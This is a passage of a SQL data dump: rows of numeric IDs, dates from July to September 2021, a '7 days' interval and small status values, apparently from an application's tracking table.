days',0),(55177,12425,9811,10627,1343,86,'2021-07-31','7 days',0),(55178,12424,9811,10627,1343,86,'2021-07-31','7 days',0),(55179,12423,9811,10627,1343,86,'2021-07-31','7 days',0),(55180,12422,9811,10627,1343,86,'2021-07-31','7 days',0),(55181,12361,9811,10627,1343,86,'2021-07-31','7 days',0),(55182,12356,9811,10627,1343,86,'2021-07-31','7 days',2),(55183,12355,9811,10627,1343,86,'2021-07-31','7 days',0),(55184,12354,9811,10627,1343,86,'2021-07-31','7 days',2),(55185,9535,9811,10627,1343,86,'2021-07-31','7 days',0),(55186,9534,9811,10627,1343,86,'2021-07-31','7 days',0),(55187,9533,9811,10627,1343,86,'2021-07-31','7 days',0),(55188,9532,9811,10627,1343,86,'2021-07-31','7 days',1),(55189,9531,9811,10627,1343,86,'2021-07-31','7 days',0),(55190,17212,9772,10594,1315,959,'2021-08-02','7 days',1),(55191,17204,9772,10594,1315,959,'2021-08-02','7 days',1),(55192,15747,9772,10594,1315,959,'2021-08-02','7 days',0),(55193,17213,9772,10594,1315,959,'2021-08-02','7 days',1),(55194,17211,9772,10594,1315,959,'2021-08-02','7 days',1),(55316,13913,9813,10630,194,45,'2021-08-04','7 days',0),(55317,11689,9813,10630,194,45,'2021-08-04','7 days',1),(55318,11162,9813,10630,194,45,'2021-08-04','7 days',1),(55319,9206,9813,10630,194,45,'2021-08-04','7 days',1),(55437,19562,9811,10627,1343,86,'2021-08-04','7 days',0),(55438,19561,9811,10627,1343,86,'2021-08-04','7 days',0),(55439,19560,9811,10627,1343,86,'2021-08-04','7 days',0),(55440,19559,9811,10627,1343,86,'2021-08-04','7 days',0),(55441,19558,9811,10627,1343,86,'2021-08-04','7 days',2),(55442,19557,9811,10627,1343,86,'2021-08-04','7 days',0),(55443,9090,8872,6489,1251,86,'2021-08-04','7 days',0),(55444,9007,8872,6489,1251,86,'2021-08-04','7 days',0),(55445,9006,8872,6489,1251,86,'2021-08-04','7 days',0),(55446,9005,8872,6489,1251,86,'2021-08-04','7 days',0),(55447,9004,8872,6489,1251,86,'2021-08-04','7 days',0),(55448,9003,8872,6489,1251,86,'2021-08-04','7 days',0),(55449,9002,8872,6489,1251,86,'2021-08-04','7 days',1),(55450,9000,8872,6489,1251,86,'2021-08-04','7 days',1),(55451,8999,8872,6489,1251,86,'2021-08-04','7 days',2),(55452,9764,8660,9734,1574,86,'2021-08-04','7 days',0),(55453,9756,8660,9734,1574,86,'2021-08-04','7 days',0),(55454,9755,8660,9734,1574,86,'2021-08-04','7 days',0),(55455,9753,8660,9734,1574,86,'2021-08-04','7 days',0),(55456,9752,8660,9734,1574,86,'2021-08-04','7 days',0),(55616,13913,9910,10697,194,45,'2021-08-06','7 days',0),(55617,11689,9910,10697,194,45,'2021-08-06','7 days',1),(55618,9206,9910,10697,194,45,'2021-08-06','7 days',1),(55643,19602,8660,9734,1574,86,'2021-08-06','7 days',0),(55644,19601,8660,9734,1574,86,'2021-08-06','7 days',2),(55645,19600,8660,9734,1574,86,'2021-08-06','7 days',2),(55646,19599,8660,9734,1574,86,'2021-08-06','7 days',0),(55647,19598,8660,9734,1574,86,'2021-08-06','7 days',1),(55661,19642,9903,10690,1456,667,'2021-08-06','7 days',0),(55662,19641,9903,10690,1456,667,'2021-08-06','7 days',0),(55663,19640,9903,10690,1456,667,'2021-08-06','7 days',0),(55664,19639,9903,10690,1456,667,'2021-08-06','7 days',2),(55665,19638,9903,10690,1456,667,'2021-08-06','7 days',1),(55666,19637,9903,10690,1456,667,'2021-08-06','7 days',0),(55667,19636,9903,10690,1456,667,'2021-08-06','7 days',0),(55668,19635,9903,10690,1456,667,'2021-08-06','7 days',0),(55669,19634,9903,10690,1456,667,'2021-08-06','7 days',0),(55670,19633,9903,10690,1456,667,'2021-08-06','7 days',0),(55671,19632,9903,10690,1456,667,'2021-08-06','7 days',0),(55672,19631,9903,10690,1456,667,'2021-08-06','7 days',0),(55673,19630,9903,10690,1456,667,'2021-08-06','7 days',0),(55674,19629,9903,10690,1456,667,'2021-08-06','7 days',0),(55675,19628,9903,10690,1456,667,'2021-08-06','7 days',0),(55737,18594,9934,10711,194,45,'2021-08-06','7 days',1),(55738,18593,9934,10711,194,45,'2021-08-06','7 days',1),(55739,18592,9934,10711,194,45,'2021-08-06','7 days',1),(55740,11520,9934,10711,194,45,'2021-08-06','7 days',1),(55741,11519,9934,10711,194,45,'2021-08-06','7 days',1),(55789,18592,9960,10734,194,45,'2021-08-07','7 days',1),(55790,11845,9960,10734,194,45,'2021-08-07','7 days',1),(55791,11520,9960,10734,194,45,'2021-08-07','7 days',1),(55792,11519,9960,10734,194,45,'2021-08-07','7 days',1),(55793,11689,9611,498,194,45,'2021-08-07','7 days',1),(55824,17212,9959,10726,1315,959,'2021-08-09','7 days',1),(55825,17204,9959,10726,1315,959,'2021-08-09','7 days',1),(55826,15747,9959,10726,1315,959,'2021-08-09','7 days',0),(55827,17206,9959,10726,1315,959,'2021-08-09','7 days',2),(55835,19627,9903,10690,1456,667,'2021-08-09','7 days',0),(55836,19626,9903,10690,1456,667,'2021-08-09','7 days',2),(55838,19625,9903,10690,1456,667,'2021-08-09','7 days',0),(55839,19624,9903,10690,1456,667,'2021-08-09','7 days',0),(55840,19623,9903,10690,1456,667,'2021-08-09','7 days',0),(55841,19622,9903,10690,1456,667,'2021-08-09','7 days',0),(55842,19621,9903,10690,1456,667,'2021-08-09','7 days',0),(55843,19620,9903,10690,1456,667,'2021-08-09','7 days',0),(55845,19619,9903,10690,1456,667,'2021-08-09','7 days',0),(55846,19618,9903,10690,1456,667,'2021-08-09','7 days',2),(55847,19617,9903,10690,1456,667,'2021-08-09','7 days',1),(55849,19616,9903,10690,1456,667,'2021-08-09','7 days',2),(55850,19615,9903,10690,1456,667,'2021-08-09','7 days',2),(55851,19614,9903,10690,1456,667,'2021-08-09','7 days',0),(55852,19613,9903,10690,1456,667,'2021-08-09','7 days',1),(55915,11689,9627,8948,194,45,'2021-08-09','7 days',1),(55954,11689,9976,496,194,45,'2021-08-10','7 days',1),(55956,14684,9976,496,194,45,'2021-08-10','7 days',1),(55969,18594,9973,10740,194,45,'2021-08-10','7 days',1),(55970,18593,9973,10740,194,45,'2021-08-10','7 days',1),(56213,16277,9980,10745,1406,971,'2021-08-12','7 days',0),(56214,16276,9980,10745,1406,971,'2021-08-12','7 days',0),(56215,16139,9980,10745,1406,971,'2021-08-12','7 days',1),(56216,12739,9980,10745,1406,971,'2021-08-12','7 days',2),(56217,11698,9980,10745,1406,971,'2021-08-12','7 days',0),(56218,11456,9980,10745,1406,971,'2021-08-12','7 days',0),(56219,11126,9980,10745,1406,971,'2021-08-12','7 days',1),(56220,10978,9980,10745,1406,971,'2021-08-12','7 days',1),(56221,10967,9980,10745,1406,971,'2021-08-12','7 days',1),(56222,10966,9980,10745,1406,971,'2021-08-12','7 days',1),(56223,10965,9980,10745,1406,971,'2021-08-12','7 days',1),(56224,10964,9980,10745,1406,971,'2021-08-12','7 days',0),(56225,10963,9980,10745,1406,971,'2021-08-12','7 days',2),(56243,18830,9998,10763,1410,975,'2021-08-13','7 days',1),(56244,15663,9998,10763,1410,975,'2021-08-13','7 days',1),(56245,18838,9998,10763,1410,975,'2021-08-13','7 days',1),(56246,18427,9998,10763,1410,975,'2021-08-13','7 days',1),(56252,18594,10001,496,194,45,'2021-08-13','7 days',1),(56253,18593,10001,496,194,45,'2021-08-13','7 days',1),(56254,18592,10001,496,194,45,'2021-08-13','7 days',1),(56255,11845,10001,496,194,45,'2021-08-13','7 days',1),(56256,11520,10001,496,194,45,'2021-08-13','7 days',1),(56257,11519,10001,496,194,45,'2021-08-13','7 days',1),(56445,18594,10017,10776,194,45,'2021-08-16','7 days',1),(56446,18593,10017,10776,194,45,'2021-08-16','7 days',1),(56447,18592,10017,10776,194,45,'2021-08-16','7 days',1),(56448,11845,10017,10776,194,45,'2021-08-16','7 days',1),(56449,11520,10017,10776,194,45,'2021-08-16','7 days',1),(56450,11519,10017,10776,194,45,'2021-08-16','7 days',1),(56481,18934,10028,9240,1408,86,'2021-08-17','7 days',0),(56482,18930,10028,9240,1408,86,'2021-08-17','7 days',0),(56483,18929,10028,9240,1408,86,'2021-08-17','7 days',2),(56484,18928,10028,9240,1408,86,'2021-08-17','7 days',1),(56485,18695,10028,9240,1408,86,'2021-08-17','7 days',0),(56487,18562,10028,9240,1408,86,'2021-08-17','7 days',0),(56488,18561,10028,9240,1408,86,'2021-08-17','7 days',0),(56489,18560,10028,9240,1408,86,'2021-08-17','7 days',0),(56490,17502,10028,9240,1408,86,'2021-08-17','7 days',2),(56491,17501,10028,9240,1408,86,'2021-08-17','7 days',0),(56492,17500,10028,9240,1408,86,'2021-08-17','7 days',0),(56493,17078,10028,9240,1408,86,'2021-08-17','7 days',0),(56494,17077,10028,9240,1408,86,'2021-08-17','7 days',0),(56495,17076,10028,9240,1408,86,'2021-08-17','7 days',0),(56496,16783,10028,9240,1408,86,'2021-08-17','7 days',0),(56497,16782,10028,9240,1408,86,'2021-08-17','7 days',0),(56498,9005,10028,9240,1408,86,'2021-08-17','7 days',0),(56499,9004,10028,9240,1408,86,'2021-08-17','7 days',0),(56500,9003,10028,9240,1408,86,'2021-08-17','7 days',0),(56501,9002,10028,9240,1408,86,'2021-08-17','7 days',1),(56502,9000,10028,9240,1408,86,'2021-08-17','7 days',1),(56503,8999,10028,9240,1408,86,'2021-08-17','7 days',1),(56727,18830,10101,10846,1410,975,'2021-08-20','7 days',1),(56728,17409,10101,10846,1410,975,'2021-08-20','7 days',1),(56729,17408,10101,10846,1410,975,'2021-08-20','7 days',1),(56730,18838,10100,10845,1410,975,'2021-08-20','7 days',1),(56731,18427,10100,10845,1410,975,'2021-08-20','7 days',1),(56732,18426,10100,10845,1410,975,'2021-08-20','7 days',0),(56914,18594,10142,10869,194,45,'2021-08-21','7 days',1),(56915,18593,10142,10869,194,45,'2021-08-21','7 days',1),(56916,18592,10142,10869,194,45,'2021-08-21','7 days',1),(56917,11520,10142,10869,194,45,'2021-08-21','7 days',1),(56918,11519,10142,10869,194,45,'2021-08-21','7 days',1),(56919,2238,10142,10869,194,45,'2021-08-21','7 days',0),(56927,18594,10144,10870,194,45,'2021-08-21','7 days',1),(56928,18593,10144,10870,194,45,'2021-08-21','7 days',1),(56929,18592,10144,10870,194,45,'2021-08-21','7 days',1),(56930,11520,10144,10870,194,45,'2021-08-21','7 days',1),(56931,11519,10144,10870,194,45,'2021-08-21','7 days',1),(56943,11446,10119,10503,222,85,'2021-08-23','7 days',1),(56944,11445,10119,10503,222,85,'2021-08-23','7 days',1),(56945,11444,10119,10503,222,85,'2021-08-23','7 days',1),(56946,11443,10119,10503,222,85,'2021-08-23','7 days',1),(56947,11437,10119,10503,222,85,'2021-08-23','7 days',0),(56948,11436,10119,10503,222,85,'2021-08-23','7 days',0),(56949,11435,10119,10503,222,85,'2021-08-23','7 days',0),(56950,11434,10119,10503,222,85,'2021-08-23','7 days',2),(56951,11432,10119,10503,222,85,'2021-08-23','7 days',0),(56952,11265,10119,10503,222,85,'2021-08-23','7 days',0),(56953,11264,10119,10503,222,85,'2021-08-23','7 days',0),(56954,11263,10119,10503,222,85,'2021-08-23','7 days',1),(56955,11260,10119,10503,222,85,'2021-08-23','7 days',0),(57053,18594,10190,10904,194,45,'2021-08-25','7 days',1),(57054,18593,10190,10904,194,45,'2021-08-25','7 days',1),(57055,18592,10190,10904,194,45,'2021-08-25','7 days',1),(57056,11845,10190,10904,194,45,'2021-08-25','7 days',1),(57057,11520,10190,10904,194,45,'2021-08-25','7 days',1),(57058,11519,10190,10904,194,45,'2021-08-25','7 days',1),(57142,18830,10192,10905,1410,975,'2021-08-25','7 days',1),(57143,17409,10192,10905,1410,975,'2021-08-25','7 days',1),(57144,18838,10192,10905,1410,975,'2021-08-25','7 days',1),(57169,18594,10102,10847,194,45,'2021-08-26','7 days',1),(57170,18593,10102,10847,194,45,'2021-08-26','7 days',1),(57171,18592,10102,10847,194,45,'2021-08-26','7 days',1),(57172,11520,10102,10847,194,45,'2021-08-26','7 days',1),(57173,11519,10102,10847,194,45,'2021-08-26','7 days',1),(57366,6244,10222,10924,221,85,'2021-08-30','7 days',2),(57367,16023,10222,10924,221,85,'2021-08-30','7 days',1),(57368,16022,10222,10924,221,85,'2021-08-30','7 days',2),(57369,16021,10222,10924,221,85,'2021-08-30','7 days',0),(57370,16020,10222,10924,221,85,'2021-08-30','7 days',0),(57371,16019,10222,10924,221,85,'2021-08-30','7 days',2),(57372,16018,10222,10924,221,85,'2021-08-30','7 days',0),(57373,16017,10222,10924,221,85,'2021-08-30','7 days',0),(57374,16016,10222,10924,221,85,'2021-08-30','7 days',0),(57375,16015,10222,10924,221,85,'2021-08-30','7 days',0),(57376,14894,10222,10924,221,85,'2021-08-30','7 days',0),(57377,14893,10222,10924,221,85,'2021-08-30','7 days',2),(57421,18259,9713,9340,1674,251,'2021-08-31','7 days',1),(57426,18594,10263,7252,194,45,'2021-08-31','7 days',1),(57427,18593,10263,7252,194,45,'2021-08-31','7 days',1),(57428,18592,10263,7252,194,45,'2021-08-31','7 days',1),(57429,11520,10263,7252,194,45,'2021-08-31','7 days',1),(57430,11519,10263,7252,194,45,'2021-08-31','7 days',1),(57431,18594,10298,10986,194,45,'2021-08-31','7 days',1),(57432,18593,10298,10986,194,45,'2021-08-31','7 days',1),(57433,18592,10298,10986,194,45,'2021-08-31','7 days',1),(57434,11520,10298,10986,194,45,'2021-08-31','7 days',1),(57435,11519,10298,10986,194,45,'2021-08-31','7 days',1),(57436,18594,10299,10987,194,45,'2021-08-31','7 days',1),(57437,18593,10299,10987,194,45,'2021-08-31','7 days',1),(57438,18592,10299,10987,194,45,'2021-08-31','7 days',1),(57439,11520,10299,10987,194,45,'2021-08-31','7 days',1),(57440,11519,10299,10987,194,45,'2021-08-31','7 days',1),(57441,18594,10308,10993,194,45,'2021-08-31','7 days',1),(57442,18593,10308,10993,194,45,'2021-08-31','7 days',1),(57443,18592,10308,10993,194,45,'2021-08-31','7 days',1),(57444,11520,10308,10993,194,45,'2021-08-31','7 days',1),(57445,11519,10308,10993,194,45,'2021-08-31','7 days',1),(57446,18594,10315,10307,194,45,'2021-08-31','7 days',1),(57447,18593,10315,10307,194,45,'2021-08-31','7 days',1),(57448,18592,10315,10307,194,45,'2021-08-31','7 days',1),(57449,11520,10315,10307,194,45,'2021-08-31','7 days',1),(57450,11519,10315,10307,194,45,'2021-08-31','7 days',1),(57458,12022,9999,10765,1668,277,'2021-08-31','7 days',1),(57459,12021,9999,10765,1668,277,'2021-08-31','7 days',0),(57460,12020,9999,10765,1668,277,'2021-08-31','7 days',0),(57461,12019,9999,10765,1668,277,'2021-08-31','7 days',0),(57462,12018,9999,10765,1668,277,'2021-08-31','7 days',0),(57463,15861,10059,10807,1668,277,'2021-08-31','7 days',0),(57464,15860,10059,10807,1668,277,'2021-08-31','7 days',0),(57465,15859,10059,10807,1668,277,'2021-08-31','7 days',0),(57466,15858,10059,10807,1668,277,'2021-08-31','7 days',1),(57467,13354,10116,3488,1666,277,'2021-08-31','7 days',0),(57468,12971,10116,3488,1666,277,'2021-08-31','7 days',0),(57469,12027,10116,3488,1666,277,'2021-08-31','7 days',0),(57470,12026,10116,3488,1666,277,'2021-08-31','7 days',0),(57521,16277,10055,10803,1406,971,'2021-09-01','7 days',0),(57522,16276,10055,10803,1406,971,'2021-09-01','7 days',0),(57523,16139,10055,10803,1406,971,'2021-09-01','7 days',1),(57524,12739,10055,10803,1406,971,'2021-09-01','7 days',1),(57525,11698,10055,10803,1406,971,'2021-09-01','7 days',0),(57526,11456,10055,10803,1406,971,'2021-09-01','7 days',0),(57527,11126,10055,10803,1406,971,'2021-09-01','7 days',1),(57528,10978,10055,10803,1406,971,'2021-09-01','7 days',1),(57529,10965,10055,10803,1406,971,'2021-09-01','7 days',1),(57530,10964,10055,10803,1406,971,'2021-09-01','7 days',0),(57531,10963,10055,10803,1406,971,'2021-09-01','7 days',1),(57532,15599,10268,10959,1342,971,'2021-09-01','7 days',0),(57533,15462,10268,10959,1342,971,'2021-09-01','7 days',0),(57545,19522,10252,10946,162,73,'2021-09-02','7 days',1),(57549,11446,10200,10910,222,85,'2021-09-02','7 days',1),(57550,11445,10200,10910,222,85,'2021-09-02','7 days',1),(57551,11444,10200,10910,222,85,'2021-09-02','7 days',1),(57552,11443,10200,10910,222,85,'2021-09-02','7 days',1),(57553,11442,10200,10910,222,85,'2021-09-02','7 days',2),(57554,11441,10200,10910,222,85,'2021-09-02','7 days',0),(57555,11440,10200,10910,222,85,'2021-09-02','7 days',0),(57556,11438,10200,10910,222,85,'2021-09-02','7 days',0),(57557,11437,10200,10910,222,85,'2021-09-02','7 days',0),(57558,11436,10200,10910,222,85,'2021-09-02','7 days',0),(57559,11435,10200,10910,222,85,'2021-09-02','7 days',0),(57560,11434,10200,10910,222,85,'2021-09-02','7 days',2),(57561,11265,10200,10910,222,85,'2021-09-02','7 days',0),(57562,11264,10200,10910,222,85,'2021-09-02','7 days',0),(57563,11261,10200,10910,222,85,'2021-09-02','7 days',0),(57564,11260,10200,10910,222,85,'2021-09-02','7 days',0),(57565,11446,10241,10940,221,85,'2021-09-02','7 days',1),(57566,11445,10241,10940,221,85,'2021-09-02','7 days',1),(57567,11444,10241,10940,221,85,'2021-09-02','7 days',1),(57568,11443,10241,10940,221,85,'2021-09-02','7 days',1),(57569,11442,10241,10940,221,85,'2021-09-02','7 days',2),(57570,11437,10241,10940,221,85,'2021-09-02','7 days',0),(57571,11436,10241,10940,221,85,'2021-09-02','7 days',0),(57572,11435,10241,10940,221,85,'2021-09-02','7 days',0),(57573,11434,10241,10940,221,85,'2021-09-02','7 days',0),(57574,11433,10241,10940,221,85,'2021-09-02','7 days',0),(57575,11269,10241,10940,221,85,'2021-09-02','7 days',0),(57576,11268,10241,10940,221,85,'2021-09-02','7 days',0),(57577,11267,10241,10940,221,85,'2021-09-02','7 days',0),(57578,11264,10241,10940,221,85,'2021-09-02','7 days',0),(57579,11263,10241,10940,221,85,'2021-09-02','7 days',2),(57580,11262,10241,10940,221,85,'2021-09-02','7 days',2),(57581,11261,10241,10940,221,85,'2021-09-02','7 days',0),(57582,11260,10241,10940,221,85,'2021-09-02','7 days',0),(57673,19969,10265,10956,1456,667,'2021-09-02','7 days',0),(57674,19968,10265,10956,1456,667,'2021-09-02','7 days',0),(57675,19967,10265,10956,1456,667,'2021-09-02','7 days',0),(57676,19966,10265,10956,1456,667,'2021-09-02','7 days',0),(57677,19965,10265,10956,1456,667,'2021-09-02','7 days',0),(57678,19964,10265,10956,1456,667,'2021-09-02','7 days',1),(57679,19963,10265,10956,1456,667,'2021-09-02','7 days',0),(57680,19962,10265,10956,1456,667,'2021-09-02','7 days',0),(57681,19961,10265,10956,1456,667,'2021-09-02','7 days',0),(57682,19960,10265,10956,1456,667,'2021-09-02','7 days',0),(57683,19959,10265,10956,1456,667,'2021-09-02','7 days',0),(57684,19958,10265,10956,1456,667,'2021-09-02','7 days',0),(57685,19957,10265,10956,1456,667,'2021-09-02','7 days',0),(57686,19956,10265,10956,1456,667,'2021-09-02','7 days',0),(57687,19955,10265,10956,1456,667,'2021-09-02','7 days',0),(57715,11520,9973,10740,194,45,'2021-09-03','7 days',1),(57799,19954,10265,10956,1456,667,'2021-09-03','7 days',1),(57800,19953,10265,10956,1456,667,'2021-09-03','7 days',2),(57892,16023,10371,11040,221,85,'2021-09-06','7 days',1),(57893,16022,10371,11040,221,85,'2021-09-06','7 days',2),(57894,16020,10371,11040,221,85,'2021-09-06','7 days',0),(57895,16019,10371,11040,221,85,'2021-09-06','7 days',2),(57896,16015,10371,11040,221,85,'2021-09-06','7 days',0),(57897,16014,10371,11040,221,85,'2021-09-06','7 days',0),(57898,16013,10371,11040,221,85,'2021-09-06','7 days',0),(57899,16010,10371,11040,221,85,'2021-09-06','7 days',0),(57900,16009,10371,11040,221,85,'2021-09-06','7 days',0),(57901,16007,10371,11040,221,85,'2021-09-06','7 days',0),(57902,14898,10371,11040,221,85,'2021-09-06','7 days',0),(57903,14897,10371,11040,221,85,'2021-09-06','7 days',0),(57904,14896,10371,11040,221,85,'2021-09-06','7 days',0),(57905,14895,10371,11040,221,85,'2021-09-06','7 days',1),(57906,14893,10371,11040,221,85,'2021-09-06','7 days',2),(57907,14891,10371,11040,221,85,'2021-09-06','7 days',0),(57908,16023,10322,11001,221,85,'2021-09-06','7 days',1),(57909,16022,10322,11001,221,85,'2021-09-06','7 days',2),(57910,16020,10322,11001,221,85,'2021-09-06','7 days',0),(57911,16017,10322,11001,221,85,'2021-09-06','7 days',0),(57912,16016,10322,11001,221,85,'2021-09-06','7 days',0),(57913,16015,10322,11001,221,85,'2021-09-06','7 days',0),(57914,16014,10322,11001,221,85,'2021-09-06','7 days',0),(57915,16013,10322,11001,221,85,'2021-09-06','7 days',0),(57916,16012,10322,11001,221,85,'2021-09-06','7 days',2),(57917,16010,10322,11001,221,85,'2021-09-06','7 days',0),(57918,16009,10322,11001,221,85,'2021-09-06','7 days',0),(57919,16005,10322,11001,221,85,'2021-09-06','7 days',0),(57920,14900,10322,11001,221,85,'2021-09-06','7 days',0),(57921,14899,10322,11001,221,85,'2021-09-06','7 days',2),(57922,14898,10322,11001,221,85,'2021-09-06','7 days',0),(57923,14897,10322,11001,221,85,'2021-09-06','7 days',0),(57924,14896,10322,11001,221,85,'2021-09-06','7 days',0),(57925,14895,10322,11001,221,85,'2021-09-06','7 days',1),(57926,14894,10322,11001,221,85,'2021-09-06','7 days',0),(57927,14892,10322,11001,221,85,'2021-09-06','7 days',1),(57928,16023,10150,10875,222,85,'2021-09-06','7 days',1),(57929,16022,10150,10875,222,85,'2021-09-06','7 days',2),(57930,16018,10150,10875,222,85,'2021-09-06','7 days',0),(57931,16017,10150,10875,222,85,'2021-09-06','7 days',2),(57932,16014,10150,10875,222,85,'2021-09-06','7 days',0),(57933,16013,10150,10875,222,85,'2021-09-06','7 days',0),(57934,16012,10150,10875,222,85,'2021-09-06','7 days',2),(57935,16011,10150,10875,222,85,'2021-09-06','7 days',0),(57936,16006,10150,10875,222,85,'2021-09-06','7 days',0),(57937,16005,10150,10875,222,85,'2021-09-06','7 days',0),(57938,14900,10150,10875,222,85,'2021-09-06','7 days',2),(57939,14898,10150,10875,222,85,'2021-09-06','7 days',0),(57940,14896,10150,10875,222,85,'2021-09-06','7 days',0),(57941,14894,10150,10875,222,85,'2021-09-06','7 days',0),(57942,14893,10150,10875,222,85,'2021-09-06','7 days',1),(57943,11446,10149,10875,221,85,'2021-09-06','7 days',1),(57944,11445,10149,10875,221,85,'2021-09-06','7 days',0),(57945,11443,10149,10875,221,85,'2021-09-06','7 days',2),(57946,11440,10149,10875,221,85,'2021-09-06','7 days',0),(57947,11438,10149,10875,221,85,'2021-09-06','7 days',0),(57948,11437,10149,10875,221,85,'2021-09-06','7 days',0),(57949,11432,10149,10875,221,85,'2021-09-06','7 days',0),(57950,11431,10149,10875,221,85,'2021-09-06','7 days',0),(57951,11269,10149,10875,221,85,'2021-09-06','7 days',0),(57952,11268,10149,10875,221,85,'2021-09-06','7 days',0),(57953,11264,10149,10875,221,85,'2021-09-06','7 days',0),(57954,11262,10149,10875,221,85,'2021-09-06','7 days',2),(57955,18594,10335,11009,194,45,'2021-09-07','7 days',1),(57956,18593,10335,11009,194,45,'2021-09-07','7 days',1),(57957,18592,10335,11009,194,45,'2021-09-07','7 days',1),(57958,11845,10335,11009,194,45,'2021-09-07','7 days',1),(57959,18594,10346,11018,194,45,'2021-09-07','7 days',1),(57960,18593,10346,11018,194,45,'2021-09-07','7 days',1),(57961,18592,10346,11018,194,45,'2021-09-07','7 days',1),(57962,11845,10346,11018,194,45,'2021-09-07','7 days',1),(57963,18594,10350,11022,194,45,'2021-09-07','7 days',1),(57964,18593,10350,11022,194,45,'2021-09-07','7 days',1),(57965,18592,10350,11022,194,45,'2021-09-07','7 days',1),(57966,11845,10350,11022,194,45,'2021-09-07','7 days',1),(57975,18594,10351,11022,194,45,'2021-09-07','7 days',1),(57976,18593,10351,11022,194,45,'2021-09-07','7 days',1),(57977,18592,10351,11022,194,45,'2021-09-07','7 days',1),(57978,11845,10351,11022,194,45,'2021-09-07','7 days',1),(58065,18930,10368,11037,1343,86,'2021-09-07','7 days',0),(58066,18929,10368,11037,1343,86,'2021-09-07','7 days',2),(58067,18695,10368,11037,1343,86,'2021-09-07','7 days',0),(58068,18562,10368,11037,1343,86,'2021-09-07','7 days',0),(58069,17502,10368,11037,1343,86,'2021-09-07','7 days',2),(58070,17077,10368,11037,1343,86,'2021-09-07','7 days',0),(58071,16024,10368,11037,1343,86,'2021-09-07','7 days',0),(58072,15589,10368,11037,1343,86,'2021-09-07','7 days',0),(58073,15587,10368,11037,1343,86,'2021-09-07','7 days',0),(58074,15586,10368,11037,1343,86,'2021-09-07','7 days',0),(58075,14994,10368,11037,1343,86,'2021-09-07','7 days',0),(58101,15567,10368,11037,1343,86,'2021-09-08','7 days',0),(58102,15493,10368,11037,1343,86,'2021-09-08','7 days',0),(58103,15368,10368,11037,1343,86,'2021-09-08','7 days',2),(58104,14786,10368,11037,1343,86,'2021-09-08','7 days',0),(58105,14785,10368,11037,1343,86,'2021-09-08','7 days',0),(58106,14618,10368,11037,1343,86,'2021-09-08','7 days',0),(58107,13671,10368,11037,1343,86,'2021-09-08','7 days',2),(58108,13670,10368,11037,1343,86,'2021-09-08','7 days',0),(58109,13669,10368,11037,1343,86,'2021-09-08','7 days',1),(58110,18277,8872,6489,1251,86,'2021-09-08','7 days',0),(58111,18276,8872,6489,1251,86,'2021-09-08','7 days',0),(58112,18275,8872,6489,1251,86,'2021-09-08','7 days',0),(58113,10962,8872,6489,1251,86,'2021-09-08','7 days',1),(58114,10946,8872,6489,1251,86,'2021-09-08','7 days',0),(58115,10945,8872,6489,1251,86,'2021-09-08','7 days',0),(58116,9611,8872,6489,1251,86,'2021-09-08','7 days',0),(58117,9608,8872,6489,1251,86,'2021-09-08','7 days',0),(58252,20091,10344,11016,1732,667,'2021-09-09','7 days',0),(58253,20090,10344,11016,1732,667,'2021-09-09','7 days',0),(58254,20089,10344,11016,1732,667,'2021-09-09','7 days',2),(58255,20088,10344,11016,1732,667,'2021-09-09','7 days',0),(58256,20087,10344,11016,1732,667,'2021-09-09','7 days',0),(58257,20086,10344,11016,1732,667,'2021-09-09','7 days',0),(58258,20085,10344,11016,1732,667,'2021-09-09','7 days',0),(58259,20084,10344,11016,1732,667,'2021-09-09','7 days',0),(58260,20083,10344,11016,1732,667,'2021-09-09','7 days',0),(58261,20081,10344,11016,1732,667,'2021-09-09','7 days',0),(58262,20080,10344,11016,1732,667,'2021-09-09','7 days',0),(58263,20079,10344,11016,1732,667,'2021-09-09','7 days',0),(58264,20078,10344,11016,1732,667,'2021-09-09','7 days',0),(58265,20077,10344,11016,1732,667,'2021-09-09','7 days',2),(58266,20076,10344,11016,1732,667,'2021-09-09','7 days',0),(58267,20093,10344,11016,1732,667,'2021-09-09','7 days',1),(58345,17682,10139,3488,1668,277,'2021-09-13','7 days',1),(58346,17681,10139,3488,1668,277,'2021-09-13','7 days',0),(58347,15861,10139,3488,1668,277,'2021-09-13','7 days',0),(58348,15860,10139,3488,1668,277,'2021-09-13','7 days',0),(58349,15857,10143,3488,1665,277,'2021-09-13','7 days',0),(58350,15856,10143,3488,1665,277,'2021-09-13','7 days',2),(58351,15855,10143,3488,1665,277,'2021-09-13','7 days',0),(58352,9898,10147,10873,1669,277,'2021-09-13','7 days',0),(58353,9897,10147,10873,1669,277,'2021-09-13','7 days',1),(58354,8590,10147,10873,1669,277,'2021-09-13','7 days',1),(58355,9901,10178,10896,1668,277,'2021-09-13','7 days',0),(58356,9900,10178,10896,1668,277,'2021-09-13','7 days',2),(58357,9899,10178,10896,1668,277,'2021-09-13','7 days',0),(58358,9904,10275,10896,1668,277,'2021-09-13','7 days',0),(58359,9903,10275,10896,1668,277,'2021-09-13','7 days',0),(58360,9902,10275,10896,1668,277,'2021-09-13','7 days',0),(58361,12022,10342,9871,1667,277,'2021-09-13','7 days',2),(58362,9905,10366,11035,1669,277,'2021-09-13','7 days',0),(58363,9904,10366,11035,1669,277,'2021-09-13','7 days',0),(58364,9903,10366,11035,1669,277,'2021-09-13','7 days',0),(58365,18594,10409,11064,194,45,'2021-09-13','7 days',1),(58366,18593,10409,11064,194,45,'2021-09-13','7 days',1),(58367,18592,10409,11064,194,45,'2021-09-13','7 days',1),(58368,11520,10409,11064,194,45,'2021-09-13','7 days',1),(58369,11519,10409,11064,194,45,'2021-09-13','7 days',1),(58370,18594,10413,6982,194,45,'2021-09-13','7 days',1),(58371,18593,10413,6982,194,45,'2021-09-13','7 days',1),(58372,18592,10413,6982,194,45,'2021-09-13','7 days',1),(58373,11520,10413,6982,194,45,'2021-09-13','7 days',1),(58374,11519,10413,6982,194,45,'2021-09-13','7 days',1),(58387,18594,10414,6982,194,45,'2021-09-13','7 days',1),(58388,18593,10414,6982,194,45,'2021-09-13','7 days',1),(58389,18592,10414,6982,194,45,'2021-09-13','7 days',1),(58390,11520,10414,6982,194,45,'2021-09-13','7 days',1),(58391,11519,10414,6982,194,45,'2021-09-13','7 days',1),(58412,17212,10138,10867,1315,959,'2021-09-13','7 days',1),(58413,17204,10138,10867,1315,959,'2021-09-13','7 days',1),(58414,15747,10138,10867,1315,959,'2021-09-13','7 days',0),(58415,17211,10138,10867,1315,959,'2021-09-13','7 days',1),(58416,14071,10138,10867,1315,959,'2021-09-13','7 days',1),(58417,17216,10173,10890,1310,959,'2021-09-13','7 days',0),(58418,13915,10173,10890,1310,959,'2021-09-13','7 